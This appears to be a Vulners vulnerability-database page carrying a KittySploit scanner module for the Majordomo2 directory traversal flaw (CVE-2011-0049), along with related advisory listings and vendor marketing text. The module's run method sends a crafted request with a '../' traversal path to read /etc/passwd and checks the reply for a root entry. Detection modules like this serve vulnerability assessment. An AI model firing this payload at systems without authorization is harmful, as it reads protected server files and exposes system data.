Majordomo2 - SMTP/HTTP Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| Majordomo2 - Directory Traversal (SMTP/HTTP) | 3 Feb 201100:00 | – | zdt | |
| CVE-2011-0049 | 3 Feb 201100:00 | – | circl | |
| CVE-2011-0049 | 4 Feb 201100:00 | – | cve | |
| CVE-2011-0049 | 4 Feb 201100:00 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_MAJORDOMO | 4 Feb 201101:00 | – | d2 | |
| Majordomo 2 File Disclosure | 27 Apr 201200:00 | – | dsquare | |
| Majordomo2 - 'SMTP/HTTP' Directory Traversal | 3 Feb 201100:00 | – | exploitdb | |
| Majordomo2 - SMTPHTTP Directory Traversal | 3 Feb 201100:00 | – | exploitpack | |
| Majordomo 2 _list_file_get() Function Traversal Arbitrary File Access | 16 Feb 201100:00 | – | nessus | |
| http-majordomo2-dir-traversal NSE Script | 27 Jun 201120:22 | – | nmap |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A directory traversal vulnerability in the _list_file_get function in lib/Majordomo."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Majordomo2 - SMTP/HTTP Directory Traversal Detection',
'description': 'A directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2011', 'majordomo2', 'lfi', 'edb', 'mj2', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://www.exploit-db.com/exploits/16103',
'https://nvd.nist.gov/vuln/detail/CVE-2011-0063',
'http://www.kb.cert.org/vuls/id/363726',
'https://bug628064.bugzilla.mozilla.org/attachment.cgi?id=506481',
'http://securityreason.com/securityalert/8061',
],
'cve': 'CVE-2011-0049',
}
def run(self):
r = self.http_request(method="GET", path='/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='medium',
reason="Majordomo2 - SMTP/HTTP Directory Traversal detected",
path='/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.8High risk
Vulners AI Score8.8
CVSS 25
EPSS0.95388